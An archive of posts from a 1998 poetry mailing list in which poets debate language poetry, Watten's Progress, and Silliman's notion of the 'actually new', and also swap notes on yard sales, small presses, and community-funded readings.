Rachel, who'd really like to know

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645. Fred Muratori
Re: Missing "e"'s
Wed 21 Jan 1998

>And as for tales of the misheard, I can still remember a grammer school
>classmate who confidently recited the prayer "Hail Mary, full of gas..."
>
>-- Fred M.
>
Yeah, yeah; I know. It's "grammar."

****

Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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646. **sylvester pollet**
Concrete New Yorker?
Wed 21 Jan 1998

Check p.38 of the Jan. 26 issue (all on Cuba) for "La Isla" by Guillermo Cabrera Infante.

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647. **Dale Smith**
Detail and Concept
Wed 21 Jan 1998

I¹ll put my formal prejudice aside for the time being to elucidate more concretely my gripe with langpo.

If you turn to p. 538 of the Norton Anthology of Post Modern Poetry you¹ll find a selection from Barrett Watten¹s Progress. What I find ingenuine about this piece is not the clerical tone or lack of musical appeal, but the arrogant assumption of a shared conceptual knowledge with a reader. I¹ve selected the following stanza which, like the others, posits broad ideas within closely-related units:

> Comes to the history of words.
> The thought to eradicate
> In him. The poetry,
> by
> Making him think certain ways...

The surprises are syntactical, with broad conceptual leaps. But the meaning(s) is distorted by six open words that signify generalizations outside of the poem: Œhistory,¹ Œwords,¹ Œthought,¹ Œhim,¹ Œpoetry,¹ and Œways.¹ Now I¹ve been accused in my posts of not being specific enough. Why doesn¹t the same charge stand for poetry? What history of words does Watten refer to? Is he implying an etymological process? How would that Œeradicate¹ something (?) in Œhim?¹ Who is Œhim?¹ Of course, there¹s no answer to these rhetorical questions because we are supposed to know how to read this. This stanza might mean that the history of words coerce human thought processes. Watten¹s formal challenge is to try to write outside of this Œhistory of words.¹ But the lack of concrete examples in the poem, the reliance on broad and non-specific conceptual relations combined through the moralizing tone of this stanza only invite speculation. It does not inspire curiosity because nothing remains but a few broad words that repel, not attract, meanings from this text. This poem addresses progress only in vague conceptual terms, not in a detailed or perceptive language. Watten offers no examples, only an opinion. Stein at

least focused on the primacy of things in the emotional appeal of names. Watten¹s elevated position as Possessor of conceptual rather than experiential knowledge undermines the potentially sympathetic appeal the title of this poem might attract. In the same anthology, Bob Perelman is at least clever enough to let his generalizations function on their own, as fragments of perceived ideas in his poem, Chronic Meanings. Here, each line is a sentence forming a paratactic verse that one could, arguably, see as a mimetic response to the accumulative pressures of urban life. Still. It¹s length, lack of crescendo and monotone sound structure limits the poem¹s potential. Perelman relies on the surprises and small syntactical leaps between each line rather than developing unified themes throughout the larger progression of the work as a whole. He basically takes the conceit and drives it into the ground, plodding the idea forward through smart and provocative stanzas. But the idea is expressed soon enough and several stanzas could have been cut to spare the reader without losing the intended impulse of poetic expression. The sense of inclusiveness in Ron Silliman¹s work attracted me years ago. The feeling that anything is permissible was empowering. Anything could go into a poem. That democratic function is still the most appealing aspect of his work. Ketjak and Tjanting are his important books for me. He does let Œthings¹ - a dailiness, a reality - into those poems. But without language¹s connective tissue such non-syllogistic approaches are limited in their appeal simply because the basic impulses of the work are obscured. The work remains with the reader alone to understand. And unless that reader lives in Leisure Land there¹s really very little reason to supply his or her own emotional impulses to the author¹s alienating sentence structures. That original socialist impulse that guided the langpods, to my point of view, is subverted by their own overly intellectualized attempts to find forms that appeal to their utopic impulses, but that are formally Œnew¹ as well. Not to deny or in any way diminish whatever pressures they were faced with 20+ years ago, but to read much of their work, to read Silliman, a great deal is demanded from a reader who is not in communication with, but enslaved to, a text that must have meanings supplied for it. Such readerly demands assume a life of luxury. But, if like most people, you¹ve got a job and certain economic demands of survival, there¹s little incentive to invest one¹s time with Silliman because the return does not exceed, or even match, the work put into reading something like Tjanting. Maybe that¹s one reason Langpo has been influential to younger writers who would have come into contact with it as students, when more time for formal investigations was available. Another attraction is the assumption that anything goes. Langpo gives young writers, it gave me, permission to exercise a disregard for subject and things, allowing every generalization imaginable into the poem. But after a certain period, unless you¹ve got a career based on it, langpo¹s revolutionary first impacts wane dramatically. At least it did for me.

ŒNo ideas but in things,[1] I think, is still the essential aesthetic statement of our century, at the most basic level. Tender Buttons at least reveals an attentiveness to a world of object and space through an emotional linguistic response to perception. The formal assumptions of many langpods made isolated ideas -- broad generalization -- into the elemental units of their aesthetic projections. Silliman, Bernstein et al go to great length in their essays to explain the significance of this approach. But if they have to justify their practice through another formal medium, their poems cannot be seen to generate sympathetic readings on their own. Maybe novel or intrigued readings. But not readings based on any emotional appeal between two humans engaged with a shared world of potential value. These generalized and cerebral appeals cannot *communicate* with the full potential of language, which also contains an emotional velocity, balanced and expedient perceptions and brave but sympathetic appeals to a world of human activity, not conceptual ideals. Thought adds to an active intelligence that stems from the perceptual and communicative capabilities of the poet. Thought is a tool -- not the source -- of understanding.

Finally, the langpods seem to be alienating younger generations of writers with a tyranny of the Œnew.[1] Having exiled already a number of older poets and traditions to oblivion they stand in danger of isolating themselves from a future as well, as if poetry only existed for one brief moment late in the 20th century.

I[1]ll conclude this too-long post with a quote from Keats who was onto this thread long ago. He writes:

It is easier to think what Poetry should be than to write it‹and this leads me on to another axiom. That if Poetry comes not as naturally as the Leaves to a tree it had better not come at all...We hate poetry that has a palpable design upon us... The Genius of Poetry must work out its own salvation in a man: It cannot be matured by law and precept, but by sensation and watchfulness in itself‹That which is creative must create itself...

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648. **Mark Wallace**

"*actually new*"

Wed 21 Jan 1998

Although I admire Ron Silliman's work greatly, I have to agree with Steve Evans' critique of the implications of Ron's recent Philly Talks piece, although rather than deal with the issue of NEA funding I'd like to take a look at the entirely vague claim on which Ron's supposed critique of writers who have

published first/second books some twenty years after he himself. One of the things I admire about Ron's work is its constant SPECIFICITY--it seems a shame, in this case, that he has to rely on a empty catch phrase such as "actually new" without any elaboration of what he thinks such a term might mean.

I'm finding it hard to imagine what the phrase "actually new" might mean if there were some content to it beyond the general place it occupies in Ron's argument (while at the same time it is meant to carry the whole weight of his dismissal). The "actual new," I take it, might be opposed to the "psedo-new" or the "fake new" or perhaps the "artificial new"? What exactly makes "the new" "actual" is something that Ron never mentions. Nor does he take up the perhaps even larger question of why exactly "the new" itself stands in his writing as such an unquestioned catch phrase for all significant poetry. Even the original creator of this slogan, Pound, also understood that "new" meant creative reuses and recreations of the past, unless one thinks that all those classical references in his work had never been used before, or that Provencal poets were from the 20th century. Indeed Pound may not have felt he was making creative re-use of the past at all, but rather, was simply getting the poetic tradition CORRECTLY, taking it from the hands of the corrupt academicians of modern capitalist slavery.

Don Byrd's recent comments about how he's bored and has seen it all before are perhaps equally disheartening, although I'm used to it from him. Both Ron and Don have implied, and stated directly in fact, repeatedly the idea that there is nothing "radical" (or some variation thereof) in the work of later writers (indeed Don has gone so far as to refer to my own work as "reactionary," a claim that leaves me somewhat bemused). Then, of course, their definition of radical turns out to be their own practice, or some variation of it that does not violate THEIR unwavering sense of what constitutes "radical." With the assumption in place that one's own work constitutes the "radical," then any other poetry can only be one of two things--derivative of you, or "not radical." A nice double bind there, and I'm tempted to feel a CHEAP one. Indeed it's quite a typical move for the patriarchal authority that Byrd and Silliman ostensibly rject (and usually do--I'd be tempted to say "when it's not their own authority in question," but that would be as unfairly dismissive as they are)--note that, in such a formulation, the word "radical" could be replaced by the word "traditional" and BE THE EXACT SAME ARGUMENT that more aesthetically conservative poets use to guard the boundaries of their own poetics. I wonder whether Ron and Don will consider whether a critical perspective that sees the similarity between their own poetics and the "conservatives" they reject constitutes for them "the radical"? I wonder what it would mean if they did not.

Let me be perfectly clear then: the problem is not that there is no "actually new" poetry. Certainly there is such poetry, just as there is poetry for which the

notion of the "actually new" is itself a question, rather than a certainty. The problem is, instead, that "the new" or "the radical" for both Byrd and Silliman is a tightly defined, unchanging category--that is, their definition of "the radical" or "the new" is traditional in precisely the worst sense. Byrd and Silliman have sometimes therefore chosen to play exactly the role that older patriarchal authorities (of poetry and other activities) have traditionally played in western culture--the dismissal of the new on the grounds that it does not meet the standards of the old. Haven't we seen this move before, from men (I use this word pointedly) supposedly as disparate as Matthew Arnold and Robert Duncan? That Byrd and Silliman use the "radical" as their standard for the old certainly should grant them points for ingenuity, but seems less helpful as perceptive critical commentary for those of us crucially interested in what poetry might do at the present moment. It seems, finally, a great shame, that two such active and much admired writers should feel so ungenerous towards the work of writers younger than they are that their usual critical insight becomes sacrificed for this vague and empty posturing (and in fact both HAVE been quite generous at times). Indeed it reminds me again how grave is the individual disappointment that haunts the world of avant garde poetries, for if one can find no value in the work of others, must it not be because one feels that no one else has found the value in their own work? Byrd and Silliman must, I think, feel BETRAYED by the work of poets who come after them. Whether justified or not (and I think, of course, that it is not), I can find no cause for celebration in such a feeling.

I don't have the time here to provide close readings of some poets investigating "the new," but would be glad to send to anyone who thinks that I CAN'T do it a large number of my own essays and reviews, or equally to point readers in the direction of critical work being done by Steve Evans and many many others.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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649. **Miekal And**
Re: you poets! (yard sales)
Wed 21 Jan 1998

my greatest bestest find ever at a yard sale was getting Alan Sondheim's first ESP record (1968) for a quarter. Id cite the name but it's one of

those names that has the e thing happening with it. alan if youre listening remind us. I think given the context of the times the record was produced in, it is the one of the progenitors of the abrasive/difficult listening because it can never be reduced to background music.

_____
Dreamtime Village
http://www.net22.com/dreamtime/index.shtml

QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza/index.html

email for DT & And/Was: [redacted]

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650. KENT JOHNSON
Jim Hightower
Wed 21 Jan 1998

Listees:

This not exactly "poetics", but everything is connected to everything else. Plus, when you are eventually confronted by a detachment of your local workers' militia, you can say, no, look, I'm not just an aesthete, why I even got Jim Hightower's Chat and Chew on the radio here!

Check out Jim HIghtower's web site-- www.jimhightower.com

carries his daily, cut-to-the-quick three minute spot, and the whole archive going back to '96 is there too (good teaching materials). Hightower, as most of you probably know, is the former Texas Commissioner of Agriculture (think I got that right) who is now the Left's and sanity's answer to Rush Limbaugh. (JH: "Some people think we need a third party. I think we need a second one.")

There are helpful hints on the site for getting your local radio station to carry his mini-spot, or his two hour "Chat and Chew" call-in show, both of which are carried on over a hundred stations nationwide. Doing so will certainly be an honorable little commando strike against corporate media!

Kent

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651. Graham W Foust
wanna be
Wed 21 Jan 1998

Joel asked what I wanna be:

Sedated, adored, a lifeguard, just like somebody on TV, and your dog. (That's the Ramones, the Stones Roses, Blotto, Oingo Boingo, and the Stooges for those of you assembling the soundtrack at home.)

But I, too, am Meow now, and dogs and cats don't mix. Except when it rains of course, and it does that plenty in Buffalo.

I'll bring my staplers (all two of 'em).

But seriously Joel, where were you for our 10am publishers meeting at Starfuckers yesterday? I had to decide how to use the $10,000 Bernstein had diverted from the SUNY-Buffalo day care center funds to Meow Press all by myself! Now I know how you must have felt during the solo years, brother: lonely and rich. By the way, where's the Neiman-Marcus card?

I just want to do what I have to do to keep this a successful ball club, which, to me, means publishing small books by people who've published no books, small or otherwise, and maybe even some really small books by people who've published small, medium, and/or large books if they're up for it. And some ephemera, too, so we'll have secret "in the know" things to talk about at out-of-town gigs. But no matter how small Meow books are, I've noticed that one can always see them if one really tries. The point, I believe. So yeah, there you go.

Now that I've completed my first official week as co-elf, I'd like to issue my first decree/promise to all you poetics fans out there: Meow Press will publish no books by Ted Hughes this year. Thank you and goodnight.

Hi mom,

Graham

p.s. As of Monday, January 19th, 2pm, Poetics at Buffalo (the band, not the list) has officially disbanded. Various solo projects, duo projects, and reunion tours to follow.

p.p.s. Another "thmup" here for Brian Schorn. Thanks, Poetics (the list, not the band), for bringing it off my shelf again.

Meow Press
"Guzzling Moet and knocking each other over the head with polo mallets,
all in the name of poetry, baby."

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652. **J. Kuszai**
vine ripened
Wed 21 Jan 1998

Dale-

I just read your message to the list, which was interesting and very very provoking, once again. I have a number of thoughts that strike me immediately, and I'll give you a taste of it here as I'm not sure how much I will be able to develop my response before the barrage of replies begins.

While you offer a very interesting reading of the Watten poem, I'm going to have to cite it here, as I have a few questions:

"Now I1ve been accused in my posts of not being specific enough. Why doesn1t the same charge stand for poetry? What history of words does Watten refer to? Is he implying an etymological process? How would that ‘eradicate1 something (?) in ‘him?1 Who is ‘him?1 Of course, there1s no answer to these rhetorical questions because we are supposed to know how to read this. This stanza might mean that the history of words coerce human thought processes. Watten1s formal challenge is to try to write outside of this ‘history of words.1 But the lack of concrete examples in the poem, the reliance on broad and non-specific conceptual relations combined through the moralizing tone of this stanza only invite speculation. It does not inspire curiosity because nothing remains but a few broad words that repel, not attract, meanings from this text. This poem addresses progress only in vague conceptual terms, not in a detailed or perceptive language. Watten offers no examples, only an opinion. Stein at least focused on the primacy of things in the emotional appeal of names. Watten1s elevated position as Possessor of conceptual rather than experiential knowledge undermines the potentially sympathetic appeal the title of this poem might attract."

I find it odd that you think that Watten's language here "... only invite[s] speculation. It does not inspire curiosity..." How about "inspiring speculation and inviting curiosity" or "speculating curiously" or "curious speculation" or "speculous curiosity" or ... you get the point. Inspiration I guess is relative.

Do you really think that Watten is trying to write "outside" the history of words? That's kind of a silly take on what that stanza says. One of the joys of syntax and punctuation is that they are usually incredibly specific in what they can mean. I'll never forget the frightening moments of REAL ambiguity in some of vergil's syntax in aeneid, when whether the whole trip to the underworld may have been a dream, etc...and this craggy old philologist is trying to tell me its one way, but the language on the page looks very much like it could be taken the other way. (It's been some years). Anyhow, Watten does not here seem to be

leaving it open. The leaps that are being taken here seem to be largely your own.

I have found Watten's work to be littered with the experiential, so your claim for him only to be conceptual professor is off the mark. But he's subtle, so you've got to read harder.

Some of what you're askin of the poem: "what history of words" "who is him" etc. seems to take all the fun out of reading. Why read poetry? You want poems to be like essays? I thought it was supposed to be the other way around...I don't see that stanza as argumentative, which your mode has been, and that is the only reason that I asked for something specific to talk about. Who is the "Him" of a Shakespeare sonnet? Isn't that ambuiguity (while dated) one of the definitions poetic language? You seem to suggest that poems can only mean one thing, ya ya ya.

You say Watten is moralizing, but I find the quote from Keats to be pretty much the paragon of moralizing. What do you think? And isn't your whole notion about how texts should be closed enough to cause an emotional response between 2 people, based in things, doesn't that strike you as the least bit moralizing?--I'm curious as to what you think of Zukofsky, who skates, it seems, between what you decry and what you applaud. Obviously, there'll be work that you like and work that you don't. Also--I would bet that the jingle "no ideas but in things" would end up pretty much a slogan manufactured by the idea-industry of poetic statement and if you really read Williams you see far more ideas than things. Someone here was doing an annotation of Zukofsky's marginal notes to a ms. version of The Wedge, which WCW had asked him to edit, and my guess is that LZ had a big part in that post-production design process known as editing (like Pound's take on Wasteland) Also, wouldn't a poetry "devoid" of ideas (full of things) end up where you don't want to be, i.e. with Steinian objects and Silliman's quotidian accumulation? Anyhow, I don't think that is really going anywhere.

These are just quick thoughts. By the way, as a student, I find that I don't have any time for formal innovation whatsoever. So I don't know what you're talking about there. I find that there is all sorts of economic pressure to "give the people what they want" and even my work on Mac Low has revolved mostly around his political and social connections of the 40s and such. Nobody wants to hear another theorization of chance-operations, or whatever you want to call them, as being "like" some kind of anarchist epistemology. It's always "like" never "is" and its the leap of the simile there that causes all the problems. I think that Mac Low would be among the first to admit that poems in and of themselves aren't the things that are going to save the world. There's plenty of work to be done, if that's your bag.

Also--as someone who used to drag his typewriter to the midnight shift at a gas station, I'd beware of dumbing it down for "working people." Remember, for every intellectual in a warehouse, there's a pot of tomatoes on a rooftop...

jk

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653. David Kellogg
Re: "actually new"
Wed 21 Jan 1998

All this reference to Ron's "Philly Talks" piece has me feeling left out. Can anybody zap me a copy, since I asked for one directly several weeks ago and received nothing? Thanks in advance.

Cheers,
David
~~~
~~~

↑ Index

655. Ben Carrelis
a new poet
Wed 21 Jan 1998

With all the sharp dialogue on the new, the old, and the unknown - in the impossible situation in which we live, this derelict menagerie full of birds-of-paradise and uppity new chicks, all crowding around the tin pan - I'd like to alert everyone to a genuinely new poet, Cris Trapender, of Australia. The only way to do this right, though, is to be a serious investigative scholar: Trapender's work is scattered in the most obscure ephemeridae unknown. I've been studying his output now for 5 years, and would be happy to backchannel bibliographic data. But here's a sample of his new serial work, combining oral histories, traditional forms, and torqued pilferings in a genuinely solid contribution to the "perennial canyon":

from CALENDAR SPIT 11.4

I see the elbows through the cloudy

terpsichore of your jacket

and the impossible forays, remember?

fast food and fasting, faster, fastest...

- Ben Carrelis

↑ Index

656. DANIEL L. COLLIER
Re: Ice Fishing in Wisconson School of Poetry
Wed 21 Jan 1998

Don't know about Wisconsin, but in Vladivostok:

#?) Don't throw anything back. It's a matter of faith: if you stand on the street corner long enough, someone will ask about your frozen darters.

#?) Squint. Drink. Squint.

#?) Despite official warnings, someone always stays out on the ice too late in the season. Usually they get rescued.

#?) It's windy out there.

#?) The river is a highway, except when it's not.

#?) Craggiest-looking fisherman gets his picture in the foreign-language newspaper.

#?) The small fish taste like fresh cucumbers.

#?) You're just fishing; leftover mercury spills & blown-up nuclear submarines are someone else's concern.

#?) Spring thaw will help you dispose of your burdensome
worn-out Japanese car.

#?) Forget fishing; there's a ship in the ice that needs you and your bottle.

↑ Index

657. **Miekal And**
Re: Best New Poet Club
Wed 21 Jan 1998

---

actually sylvester, the post office, with no explanation, changed Bern's address from 22 to 50 salmond, tho he's lived in the same place for years. that's not good news (busted femur) for Bern, being in his middle 80s, sometimes hard for those things to mend....he has been making a plea to me to find places for his unpublished works, & we can only do so much, Im hoping that he'll send on his Abraham Lincoln Gillespie work for publication.

gallump

m

↑ Index

658. **Gary Sullivan**
Re: Some "New" Poets
Wed 21 Jan 1998

Hi, Rachel:

How are you? Loved the Lewis Carroll quote. As to what a "glass book" is:

Literally, glass pages, with text silk-screened on, in white. Don't have the text with me, unfortunately. To give you some idea of the effect of this: Pages can be stacked onto each other--overlay schema so certain words're repeated, given 3-dimensional push upward, toward viewer. At least two events happen this moment: (1) the words repeated lose former "transparency" (their materiality made blatant) and (2) a second "narrative" thread is made visible. ("Transparency" obvious issue: glass is, duh, transparent.) As pages are stacked onto each other, new narrative threads, or trajectories if you prefer, become visible, generating tension, a kind of "gravity" I guess, as former "meaning" of the text on the first glass sheet becomes bent into second, third, fourth & so on "meanings" of new sheets & confluences between sheets. This, by the way, strikes me as an example of "wild form" (just having read the referred-to essay), her book

making manifest, in the reading of it, a sense of causality (George Albon is, I think, writing on causality right now), relationships/-shifts, slowing & speeding up of perceived time--the book's value maybe less social (why, as suggested in "Wild Form," is consideration of form limited to its merely social situation(s)?), more philosophical & "scientific" (bad word choice; I mean, manifestation of consideration of nature of physical existence as warped by perceptive organs & extensions ((glasses, microscopes, the book, language, other filters, overlays))) . . .

Anyway, glass being ultimate transparency, to put words down on glass suggests initial overlay: e.g., language as overlay; subsequent overlayings of sheet upon sheet, word upon word secondary overlays. I do wish I had the text, though. The writing's extraordinary, not separate from the form: The piece strikes me as thoroughly successful FORM/CONTENT interweave, or coupling, co-generative, ultimately there as ONE.

Now, for the person who asked why it took (at least) 15 years for Laurie's first full-length collection to arrive; well, who knows? I've sent my own first couple of collections out to all the groovy presses still doing full-length books and most presses don't bother even returning the SASE. Those who do reject. Best rejection letter: "I can't look at new work right." Yes, "sic"--editor forgot to add "now"--but "can't look at new work right" probably closer to the case. The one thing of mine published, a "novella," Dead Man, by Meow Press (Hi, Joel!), kind of a fluke. I met Joel, who I really liked, when he came out to visit Charles Alexander at the MCBA in Minneapolis. I sent him Dead Man to read, not thinking of ever publishing it (er, copyright complications...), & got a call a couple months later saying Meow wanted to add it to its list. Wow! Very generous of Joel to do. A plug for Meow & Joel (from someone w/an admittedly personal investment): He's truly indefatigable, his project thoroughly open, the books utilitarian w/out being ugly, attractive w/out being precious, the work taken en toto as if Meow an antenna picking up a wide range of activity, filtering it through "the press." (See the Poetry Project Newsletter review of the press last issue. ((I think Katie Leder or Lederer wrote it--anyone know who that is?)))

Wanna respond more to "Wild Form"--maybe later. Thanks for asking about Laurie's glass book, Rachel. Hope you're doing well.

Yours,

Gary Sullivan

↑ Index

659. **cris cheek**
Re: scoured grapes
Wed 21 Jan 1998

Hi Dale, 'Detail and Concept' is a great name for a double act on the tails of Penn and Teller. However, and Joel you made me alguy (i meant to type laugh) out loud a lot. I'd sort of already decided not to post this reply, but in your wake, and very mcu (much) more humbly re:

```
>       Comes to the history of words.
>          The thought to eradicate
>          In him.  The poetry,
>                          by
>       Making him think certain ways...
```

> *What history of words does Watten refer to? Is he implying an etymological >process?How would that eradicate something (?) in him? Who is him? Of*
> *course, theres no answer to these rhetorical questions because we are supposed to know how to read this.*

It's a poem. There is no way through which anyone is supposed to read it, just as there never was or is with almost any other poem. I can't think of the exceptions, but someone must have a list of them - somewhere.

What I've often admired about Barrett's work, amongst many admirations it generates, is the dark humour discontinuously moving among its surfaces. 'He' frequently disturbs any 'got it' mentality by a 'what am i trying to get and what might that "got it" tell me once it's "In him", i.e. in my bag?' (both in respect of 'myself' and in respect of 'him') in the process, thereby debunking exactly what this little passage you've so perceptively chosen identifies. Following the narrative introduction 'Comes to the history of words', ie there is potential character here (Thus spake Beowulf, his shining blade - tongue in pocket) 'The thought to eradicate / In him. The poetry,' leads directly towards a mud wrestling between presence and absence more fully played at volume in his 'Under Erasure'.

Read it specifically then:

'The [not A] thought to eradicate'

(releases exactly your critique, in that he is decrying THE thought and encouraging specificities stemming from A thought. He is suggesting that such generalities won't do - they are tied to lazy thinking, which either actively predispositions itself towards or else passively condones attitudes of destruction. This is a poem that critiques the very notion of progress as a fixity to be pocketed and owned).

Read that sentence again as 'The thought - to eradicate - In him.' Becomes a critique of competetive (if not downright warring) male tropes, offering a pithy, wry performance 'doubleness' through self-critique at one and the different time.

s p a c e - let the line 'The though to eradicate' float, there's a whole lot of space following it and more still to come before the next (however habitually one's eyes might negate it - a materiality of page and book as much as of the marks that articulate such sites), even though the indented alignments of the 'internal' lines in each stanza are 'framed' by the top and bottom. even though the bottom line each time visibly discourages closure . . . . (i notice you left one of the dot dot dots off, what did you mean by that?) 'In him. The poetry, by'

This is a gorgeously ludic toying with the persona of 'male poet', 'In him. The poetry' (that THE again). There's a serious point and a ribbing here. And why, whilst we're at it should we presume that Barrett is not also present through-out. I mean, this work is not being assembled by rote. It is motivated. Each word and each unit of sense is motivational. Sometimes that motivation is one thing cancelling out the next, one building constructing on the site of another's demolition. Sometimes there is a dialectical tension mobilised. Often though a teasing interplay between serious construction and playful undermining of the stasis born out glib satisfaction with knowing, or the supposition of knowing 'how to read it'.

I haven't even got to that last line . . .

And btw i really don't read poetry this way at all, just teasing your sense of coming up empty handed on this one. How does:

'How he, reclining on the limp edge of
wet dawn, divines rhetorically the stem
of his life which purports a kissing wind,
baguettes, managerial consistency, and
he is seen by too many people. It is'

make you feel? It's the opening of O'Hara's 'Hermaphrodite'. (1954?) Or:

'Triangle to Bach
Is triangle to me - and
A clown's hat and a lovely hair pie
(Turn it over in your heads.)

Like I mean you
Aren't questions, each of you
Is an answer,
But you'd gone, all of you afraid'

from Whalen's 'Esprit d'Escalier Rant' (1957)

The 'good' stuff, for me, often unveils such nagging densities. There is no 'how' or no 'know how' the reading of negative capabilities.

love and love
cris

↑ Index

660. **david bromige**
you poets! (yard sales)
Wed 21 Jan 1998

Tom Mandel's post encapsulates the trouble with all anecdotal poetry. I can well imagine such a poem (not that Tom makes that claim for it) being read aloud and the way the audience would nod its heads & sigh acquiescence. Shucks, why bother with yard sales at all, Clem? There's a bound to be somethin' wrong with whatever you buy they-r!

(Hey--one way to know you're a redneck is, when somebody knocks on the door and asks if you're having a yard sale).

Well, yard sales might be beneath Tom Mandel, de gustibus disputandum (shee-it, this here latin tag's got a piece missin', Blanche! You git it down at that flea-market?!), but I got some GREAT STUFF at the ones I mentioned yesterday. Artie Shaw's "Backbay Shuffle" for one buck! a couple of Nina Simone's for a dollar a piece. All unscratched. The shorter novels of Stendahl for $3. A sweater I'm wearing as I type this, $4, an unholey bargain. So don't let Uncle Tom from the nation's capital discourage you, you young uns out here in the U S of A.. Too bad that child's folks don't check the toys out 'fore they takes them home--caveat emptor* they might oughta think. Uncle Dave.

* preacher says this is what the roman soldiers said when they heard Christ had risen--means "the cave is empty," and by extension "this party's a tile shy of a scrabble game."

↑ Index

661. **david bromige**
wanna be (kudos for foust)
Wed 21 Jan 1998

I thought Graham Foust's post today was one of the most delightful I've read on this list. It was not overly burdened with "something to say," therefore it had more chance to say itself superbly. Kudos, Graham! And it was a necessary saying.

I am tempted to emulate, though knowing I'll fall far short. Graham's use of the phrase wanna be reminded me of a question (one of several, including "where does he get that stuff?") stirred up by Dale Smith's recent posts. Usually, a "wannabe" is someone despicable. But a "Langpod wannabe" is surely _less_ despicable than an actual dues-paying Langpod? It's like a langpod is someone with a real small weenie, and a langpod wannabe is someone with an average-size weenie (or even a huge one like GB) who wishes it were shorter, so he could join the club.

So the hierarchy goes TOM CLARK / ED DORN (dead heat)

DALE SMITH (hanging in there, 3rd)

WANNABE LANGPOD (running out of the money)

AUTHENTIC LANGPOD (Pulled up short; shot)

DAVID BROMIGE (suffered oedipal castration)

↑ Index

662. **d powell**

Re: The New (& how to help it along)

Wed 21 Jan 1998

Another great example of grassroots funding is Geri DiGiorno's annual Poetry Walk in Petaluma. The Walk is an all-day series of readings, held at various venues around the town of Petaluma. DiGiorno started the walk on a shoestring (ouch, what a terrible turn of phrase) by soliciting contributions from local businesses. The first year, her major funder was Empire Waste Management--that's right, the local garbage company.

She also received small donations from bookstores, music stores, coffee houses, even pet stores. In exchange, her event brings hundreds of poetry listeners into those businesses for the afternoon. I like the event for many reasons. It puts poetry center stage in an otherwise typical mid-sized town. The audience is not just made up of poets but of grocers, pharmacists, waiters, kids, seniors...The selection of poets is balanced between local and nationally-known (and some who are both). The aesthetic range is broad (last year's poets included Kathleen Fraser, Brenda Hillman, Gary Short, Kay Ryan, Jane Hirschfield, Ed Kleinschmidt, Tight magazine editor Ann Erickson playing a soundtext collaboration with Jake Berry, and Amy Trussell who danced her poem. The best part of the event is that the funding comes largely from the private sector, so the private sector feels a sense of collaboration.

==========

===== D A Powell [redacted]

==========
david bromige wrote:
>(Preamble : The New, not distinguishing between form and content. >Somewhere
>Ron Silliman formulated an equation that said that the formal New >and the
>contentual New can never occupy the same place....Ron, do I have >that
>right? Is that still a formulation you stand by, and if so, could >you post
>it?)
>
>I was pleased to hear from Henry that he had aired the yard-sale >notion
>where it might do some good. Not pleased that it hadnt been acted >on. No,
>we're not Bevery Hills. A lot of our sales were early in the >morning, to
>people who live (or augment their living) by buying cheapest and >selling
>slightly dearer--some were en route to the "official" flea market >that's
>held every weekend at the south end of town, and we were at the >north end,
>and a lot of these dealers live north of town, where the housing >is
>cheaper. I mean, location is everything : one needs to consider >that.
>
>Other notions in case there are listlings who want to be free of >the
>literary establishments in their neighborhoods (with the >chokehold on
>budgets, etc) :
>make Round Table Pizza your venue. Layne Russell of this list did >just that
>last sat nite, bringing some 30 of us together for a poetry >reading in a
>private room at RTP. It cost nothing : RTP is glad of the custom. >Layne
>booked about 10 days in advance. Fifty or more could have been >fit into
>that space. Although the room had windows that gave onto the >surrounding
>restaurant, it was pretty much soundproof (therefore far >preferable to
>coffee-shops, with their ringing registers and growling >Smoothie-mixers and
>coffee-grinders). Plenty of parking on site. This room is even >equipped
>with a large tv screen and vcr capability, so that we can have an >evening
>of poetry tapes if we want. And beer and wine (well, of a kind) >are
>available.
>
>Don Byrd's post re-*pre*NEA days reminds me that at Berkeley in >the 60s,
>some of us formed an on-campus club, which gave us access, for a >nominal
>fee, to lecture halls where we put on poetry readings. We were >allowed to
>charge an entrance fee, although perhaps it was disguised as a >donation. In
>those years of rising poetry popularity, we often had 150 or 200 >in the
>audience; I remember we were able to pay the likes of Robert >Duncan and
>Robert Creeley and Diane Di Prima and, I think, Ed Dorn, >something like

>$150 honoraria--surely about $600 in today's money. We did this >because
>the Arts & Lectures series brought to campus poets who, in the >words of one
>of my associates in the enterprise, Ron Loewinsohn, were dead but >didnt
>know enough to fall down (and this despite the input of "The Book >of Beat"
>Tom Parkinson.)-- Even the most, uh, librul (or even redickul) >among the
>Tenured have incurred a certain amount of damage during their >ascension,
>have feuded with writers whom the students would love to hear but >never
>will (due to these wounds), and the Poetry Club is one way to >by-pass these
>Great Limping Albert Rosses (as Sherril Jaffe dubbed them). We >paid
>membership dues--maybe $2 per term? Say $8 in today's money. This >also
was
>an incentive to attend all the readings (to get your money's >worth). I
>think we got in for $1, whereas non-members got in for $1.50.
>
>These days, a likely turnout would be considerably smaller. But >still, 40
>people paying an average of $5 each = $200, and that, less >venue-rent,and
>expense of a mailer,would probably net $120.
>
>These are some ways of working with The System to take the power >back.
David
>
>----------
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>Subject: The New (& how to help it along)
>To: [redacted]
>
>

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663. **louis stroffolino**

Re: Missing "e"'s

Wed 21 Jan 1998

And james wright's son and jay wright... well, i would confuse robert coover and raymond carver or is it chandler and raymond ("whose heaven is like ironsides, whose tears fall like the rain") burr or aaron burr or the irish parish or parrot (erin go braaaaaack")------cs

On Tue, 20 Jan 1998, Gwyn McVay wrote:

> *And James Wright,*
> *Charles Wright, C D Wright and C K Williams were all the same person<<<*
>
> *I'm guessing Ms. Wright would probably be the most alarmed by the conflation.*
>
> *People I know have had terrible times with Ted Berrigan/John Berryman, and then the two peace-activist brothers as well--and while in line to see /Shadowlands/ not long after it came out, I overheard:*
>
> *"Which children's author is this movie about?"*
> *"A.A. Milne. You remember, he wrote /The Hobbit/."*
>
> *& a belated mondegreen--heard X's song containing the refrain/title? "shoot out the lights" as "chew up the blinds," like overacting in front of suburban scenery--*
>
> *Gwyn*

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664. **d powell**
Re: Some "New" Poets
Wed 21 Jan 1998

Gary,

Katie Lederer is a student at Iowa. She's doing a magazine called Explosive, that combines a lot of great poets, both known and unknown. I don't have my copy handy, so I can't give you a list, but you should get a copy from her c/o Iowa Writers' Workshop, U of I, Iowa City, IA 52242. I think it's five bucks, and it's packed with poems.

